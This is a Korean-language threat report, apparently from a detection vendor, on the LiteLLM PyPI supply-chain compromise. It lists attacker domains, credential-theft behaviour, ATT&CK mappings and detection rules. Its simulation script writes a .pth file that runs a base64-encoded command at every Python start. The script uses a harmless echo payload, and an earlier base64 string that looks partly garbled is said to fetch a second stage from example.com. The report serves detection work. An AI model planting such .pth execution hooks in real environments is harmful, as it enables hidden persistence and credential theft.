SOC Prime Bias: 중대함

06 4월 2026 17:33

당신의 AI 게이트웨이가 백도어였다: LiteLLM 공급망 손상 내부

Author Photo
Ruslan Mikhalov SOC Prime에서 위협 연구 책임자 linkedin icon 팔로우
당신의 AI 게이트웨이가 백도어였다: LiteLLM 공급망 손상 내부
shield icon

Detection stack

  • AIDR
  • Alert
  • ETL
  • Query

요약

광범위하게 사용되는 Python 패키지 LiteLLM이 PyPI에서 공급망 손상을 입었습니다. 악성 릴리스 1.82.7과 1.82.8은 클라우드 자격 증명, SSH 키 및 Kubernetes 비밀을 훔치도록 디자인된 3단계 페이로드를 전달한 후 클러스터 내에서 피벗하고 지속적인 백도어를 설정했습니다. 이 활동은 범죄 조직 TeamPCP에 의해 발생했으며 Trivy 및 Checkmarx를 포함한 보안 도구를 포함하는 이전의 손상과 연결된 것으로 보입니다.

조사

조사관들은 악성 LiteLLM 버전을 PyPI에 강제로 푸시할 수 있도록 개인 접근 토큰을 노출시킨 타협된 Trivy GitHub Action과 침입 체인을 연결했습니다. 코드 리뷰에서는 RSA-4096과 AES-256을 사용하여 보호된 스테이징과 데이터를 공격자가 제어하는 도메인으로 유출시키기 위한 다층 Base64-heavy Python 로더가 발견되었습니다. 이 페이로드는 또한 호스트 파일 시스템에 액세스하고 수집을 확장하기 위해 Kubernetes pods를 생성했습니다. PyPI, npm, Docker Hub, GitHub Actions 및 OpenVSX를 넘나드는 인프라 재사용은 고립된 패키지 유괴가 아니라 조정된 다중 생태계 캠페인을 시사합니다.

완화

식별된 악성 도메인을 차단하고 노출 가능성이 있는 모든 자격 증명을 회전하며 LiteLLM_init.pth 아티팩트를 제거하세요. sysmon.service systemd 사용자 유닛을 통한 지속성을 확인하고 예상치 못한 .pth 파일 생성 여부를 조사하십시오. 해시 검증 설치를 강제하고, 검토되지 않은 포스트 설치 동작을 제한하거나 허용하지 않으며, egress 필터링을 적용하여 공급망 노출을 줄이세요. 가능한 경우, 알려진 bulletproof-hosting ASNs와 관련된 트래픽을 표시하기 위해 JARM 지문 모니터링을 추가하세요.

응답

침해가 의심되면 영향을 받은 시스템을 격리하고 악성 Python 프로세스를 종료하며 트로이화된 LiteLLM 패키지 및 모든 지속성 파일을 제거하세요. 모든 수집된 비밀을 즉시 회전하고, 클라우드 자격 증명 및 API 키를 우선순위로 설정하세요. Base64로 인코딩된 Python 실행 체인, .pth 파일 드롭, models.litellm.cloud 또는 checkmarx.zone으로의 비정상적인 HTTPS POST 활동에 대한 탐지를 펼치세요.

검색어: LiteLLM, 공급망 공격, PyPI, TeamPCP, Trivy, Checkmarx, GitHub Actions, Kubernetes 비밀, .pth 지속성, 자격 증명 도난, RSA-4096, AES-256, egress 필터링, JARM 지문 추적.

"graph TB %% 클래스 정의 섹션 classDef action fill:#99ccff classDef technique fill:#ffcc99 classDef tool fill:#cccccc classDef file fill:#e6e6e6 classDef process fill:#ffd966 classDef service fill:#c0c0c0 %% 노드 정의 섹션 action_initial_supply_chain["<b>액션</b> – <b>T1195.001 소프트웨어 종속성과 개발 도구 손상</b><br/>상대방이 손상된 Trivy GitHub Action 워크플로를 통해 Aqua Security 봇 토큰 확보"] class action_initial_supply_chain action tool_trivy_github_action["<b>툴</b> – <b>이름</b>: Trivy GitHub Action<br/><b>설명</b>: CI 워크플로우 컨테이너 이미지 스캔"] class tool_trivy_github_action tool process_publish_malicious["<b>프로세스</b> – PyPI에 악성 LiteLLM 릴리스 게시"] class process_publish_malicious process technique_supply_chain_attack["<b>기술</b> – <b>T1195.002 소프트웨어 공급망 손상</b><br/>PyPI에 푸시된 악성 LiteLLM 버전 1.82.7 및 1.82.8"] class technique_supply_chain_attack technique technique_python_execution["<b>기술</b> – <b>T1059.006 명령 및 스크립팅 인터프리터: Python</b><br/>.pth 파일은 인터프리터 시작 시 자동으로 로드됨"] class technique_python_execution technique file_pth["<b>파일</b> – LiteLLM_init.pth<br/>siteu2011packages에 저장되어 있으며 Python 인터프리터에 의해 자동으로 로드됩니다"] class file_pth file technique_user_execution["<b>기술</b> – <b>T1204.002 사용자 실행: 악성 파일</b><br/>`pip install LiteLLM==1.82.8` 명령이 즉각적인 페이로드 실행을 트리거합니다"] class technique_user_execution technique technique_credential_harvest["<b>기술</b> – <b>T1552.001 파일 내 자격 증명</b><br/>수집기는 SSH 키, 클라우드 구성, .env 파일, 데이터베이스 자격 증명, 암호화폐 지갑을 읽습니다"] class technique_credential_harvest technique technique_metadata["<b>기술</b> – <b>T1552.005 보호되지 않은 자격 증명: 클라우드 인스턴스 메타데이터 API</b><br/>일시적인 IAM 토큰을 위해 AWS, GCP 및 Azure 메타데이터 서비스를 쿼리합니다"] class technique_metadata technique technique_os_cred_dump["<b>기술</b> – <b>T1003 OS 자격 증명 덤핑</b><br/>자격 증명 데이터를 위해 /etc/shadow와 인증 로그를 읽습니다"] class technique_os_cred_dump technique technique_obfuscation["<b>기술</b> – <b>T1027 혼란스러운 파일 또는 정보</b><br/>multiple base64 layers, binary padding, stripped payloads, dynamic API resolution, AESu2011256u2011CBC encryption, RSAu20114096 wrapper"] class technique_obfuscation technique technique_exfiltration["<b>기술</b> – <b>T1041 C2 채널을 통한 데이터 유출</b><br/>HTTPS POST를 통해 models.litellm.cloud에 전송된 암호화된 자격 증명 번들"] class technique_exfiltration technique technique_web_service["<b>기술</b> – <b>T1102.001 웹 서비스: 데드 드롭 리졸버</b><br/>체크막스의 백도어는 secondu2011stage 페이로드 및 상태 보고서에 대해 checkmarx.zone/raw을 폴링합니다"] class technique_web_service technique technique_persistence["<b>기술</b> – <b>T1543.002 시스템 프로세스 생성 또는 수정: Systemd 서비스</b><br/>재부팅 사이의 지속성을 위해 설치된 사용자 수준 sysmon.service"] class technique_persistence technique technique_container_lateral["<b>기술</b> – <b>T1543.005 시스템 프로세스 생성 또는 수정: 컨테이너 서비스</b><br/>전체 클러스터 측면 이동을 위해 호스트 파일 시스템에 대한 액세스 권한을 가진 고급 Kubernetes 포드가 생성됨"] class technique_container_lateral technique technique_remote_services["<b>기술</b> – <b>T1133 외부 원격 서비스</b><br/>유지된 백도어는 C2 폴러를 통해 원격 명령 실행을 가능하게 함"] class technique_remote_services technique technique_defense_evasion["<b>기술</b> – <b>T1140 복잡 or 디코딩 파일 또는 정보</b><br/>다중 계층 페이로드의 런타임 디코딩은 정적 감지를 피합니다"] class technique_defense_evasion technique %% 연결 섹션 action_initial_supply_chain –>|사용함| tool_trivy_github_action tool_trivy_github_action –>|이어짐| process_publish_malicious process_publish_malicious –>|결과| technique_supply_chain_attack technique_supply_chain_attack –>|가능하게 함| technique_python_execution technique_python_execution –>|로드함| file_pth file_pth –>|트리거함| technique_user_execution technique_user_execution –>|원인| technique_credential_harvest technique_credential_harvest –>|수행함| technique_metadata technique_metadata –>|결합| technique_os_cred_dump technique_os_cred_dump –>|혼란됨| technique_obfuscation technique_obfuscation –>|이어짐| technique_exfiltration technique_exfiltration –>|사용함| technique_web_service technique_web_service –>|설정함| technique_persistence technique_persistence –>|가능하게 함| technique_container_lateral technique_container_lateral –>|지원함| technique_remote_services technique_remote_services –>|용이하게 함| technique_defense_evasion "

공격 흐름

탐지

OpenSSL을 사용한 파일의 암호화 또는 해독 가능성 [Linux] (cmdline을 통해)

SOC Prime 팀
2026년 3월 31일

Linux Tmp 폴더에서 아카이브가 생성됨 (file_event를 통해)

SOC Prime 팀
2026년 3월 31일

의심스러운 CURL 사용 (cmdline을 통해)

SOC Prime 팀
2026년 3월 31일

MacOS 임시 폴더에서 아카이브가 생성됨 (file_event를 통해)

SOC Prime 팀
2026년 3월 31일

OpenSSL을 사용한 파일의 암호화 또는 해독 가능성 [MacOS] (cmdline을 통해)

SOC Prime 팀
2026년 3월 31일

사이트 별 구성 훅 파일이 생성되었을 가능성 (file_event를 통해)

SOC Prime 팀
2026년 3월 31일

악성 Python 패키지 IOCs (cmdline을 통해)

SOC Prime 팀
2026년 3월 31일

의심스러운 Curl 실행 시도 [MacOS] (cmdline을 통해)

SOC Prime 팀
2026년 3월 31일

Systemd 폴더에서 서비스 파일 생성 (file_event를 통해)

SOC Prime 팀
2026년 3월 31일

탐지해야 할 IOCs (DestinationIP): 귀하의 AI 게이트웨이는 백도어였습니다: LiteLLM 공급망 손상 내부

SOC Prime AI 규칙
2026년 3월 31일

탐지해야 할 IOCs (SourceIP): 귀하의 AI 게이트웨이는 백도어였습니다: LiteLLM 공급망 손상 내부

SOC Prime AI 규칙
2026년 3월 31일

악성 LiteLLM 패키지가 .pth 파일 및 subprocess.Popen 사용으로 탐지됨 [Linux 프로세스 생성]

SOC Prime AI 규칙
2026년 3월 31일

LiteLLM 공급망 공격의 악성 도메인을 통한 데이터 유출 및 C2 통신 [Firewall]

SOC Prime AI 규칙
2026년 3월 31일

시뮬레이션 실행

전제 조건: 원격 측정 및 베이스라인 출발 전 검사에 통과해야 합니다.

이 섹션은 탐지 규칙을 트리거하도록 설계된 상대방 기술(TTP)의 정확한 실행을 설명합니다. 명령 및 설명은 식별된 TTP를 직접 반영하며 탐지 논리에서 기대되는 정확한 텔레메트리를 생성하는 것을 목표로 해야 합니다. 추상적이거나 관련 없는 예는 오진으로 이어질 수 있습니다.

  • 공격 서사 및 명령:
    공공을 침해한 공격자 LiteLLM PyPI 패키지는 악성 .pth 파일을 삽입합니다 LiteLLM_init.pth. 이 파일은 전역 사이트 패키지 디렉토리에 배치되어 any Python 인터프리터가 시작될 때마다 처리되도록 보장합니다. 이 .pth 에는 base64로 인코딩된 페이로드를 subprocess.Popen를 통해 실행하는 단일 행이 포함되어 있습니다. 페이로드는 HTTPS를 통해 C2 서버에서 2단계 도구를 다운로드하고 도난당한 자격 증명을 /tmp/creds.txt (T1552.*)에 씁니다. 인터프리터 시작 훅을 사용하여 공격자는 systemd 유닛을 수정하지 않고 지속성을 성취하여 많은 전통적인 프로세스 생성 베이스라인을 피할 수 있습니다.

    시뮬레이션된 단계는 다음과 같습니다:

    1. 악성 .pth 파일을 생성 내장된 Python 코드를 사용합니다.
    2. Python 인터프리터 시작 트리거 (예: python3 -c "import sys"), 이는 .pth 를 실행하게 합니다.
    3. 임베디드 코드는 base64 페이로드를 디코딩하고 를 사용하여 그것을 시작하여 subprocess.Popen에 Python 임포트 경로와 LiteLLM_init.pthsubprocess.Popen.
  • 회귀 테스트 스크립트:
    아래 스크립트는 Ubuntu 테스트 호스트에서 전체 공격 시뮬레이션을 자동화합니다.

    #!/usr/bin/env bash
    set -euo pipefail
    
    # ---------- 1. 악성 .pth 페이로드 생성 ----------
    MALICIOUS_PTH_PATH="/usr/local/lib/python3.8/dist-packages/LiteLLM_init.pth"
    PAYLOAD_B64="aW1wb3J0IHN1YnByb2Nlc3MsIGJhc2U2NApzb3VyY2U9J2h0dHBzOi8vZXhhbXBsZS5jb20vc2Vjb25kX3N0YWdlLnB5JwoKc3VicHJvY2Vzcy5Qb3BlbihuYW1lPXNvdXJjZSwgc2hlbGxfcGF0aD0iL2Jpbj9jaG93IiwgY2xhc3M9ZnVuY3Rpb24oKSB7fSlzc2V0ZXJ0JkNsb3JlZChzc2V0KX0p"
    # 위 내용은 간단한 python 스크립트로, 두 번째 스테이지 페이로드를 다운로드합니다.
    # 테스트 환경의 안전을 위해 이를 무해한 echo 명령으로 교체합니다.
    PAYLOAD_B64=$(echo -n "import subprocess,base64; subprocess.Popen(['bash','-c','echo malicious executed >> /tmp/malicious.log'], stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)" | base64 -w0)
    
    # .pth 파일 구성 - 줄은 인터프리터 시작 시 python 코드로 실행됨
    echo "exec('import base64, subprocess; subprocess.Popen(base64.b64decode("${PAYLOAD_B64}"), shell=True)')" | sudo tee "${MALICIOUS_PTH_PATH}" >/dev/null
    
    echo "[+] ${MALICIOUS_PTH_PATH}에 악성 .pth 파일 생성됨"
    
    # ---------- 2. 인터프리터 시작 트리거 (텔레메트리 생성) ----------
    echo "[+] .pth를 로드하기 위해 Python 인터프리터 트리거..."
    python3 -c "import sys; print('trigger')"
    
    # ---------- 3. 페이로드가 실행되었는지 확인 ----------
    if grep -q "malicious executed" /tmp/malicious.log; then
      echo "[+] 페이로드가 성공적으로 실행됨 - 탐지가 작동해야 함."
    else
      echo "[-] 페이로드가 실행되지 않음 - .pth 배치 및 권한을 확인하십시오."
    fi
  • 정리 명령:

    #!/usr/bin/env bash
    set -euo pipefail
    
    MALICIOUS_PTH_PATH="/usr/local/lib/python3.8/dist-packages/LiteLLM_init.pth"
    
    # 악성 .pth 파일 제거
    if sudo test -f "${MALICIOUS_PTH_PATH}"; then
        sudo rm -f "${MALICIOUS_PTH_PATH}"
        echo "[+] 악성 .pth 파일 제거됨."
    fi
    
    # 페이로드의 의해 생성된 증거 파일 삭제
    if test -f "/tmp/malicious.log"; then
        sudo rm -f "/tmp/malicious.log"
        echo "[+] /tmp/malicious.log 정리됨."
    fi
    
    # 특화된 테스트 규칙을 추가했다면 감사 규칙을 제거하십시오
    # sudo auditctl -d always,exit -F arch=b64 -S execve -k process_creation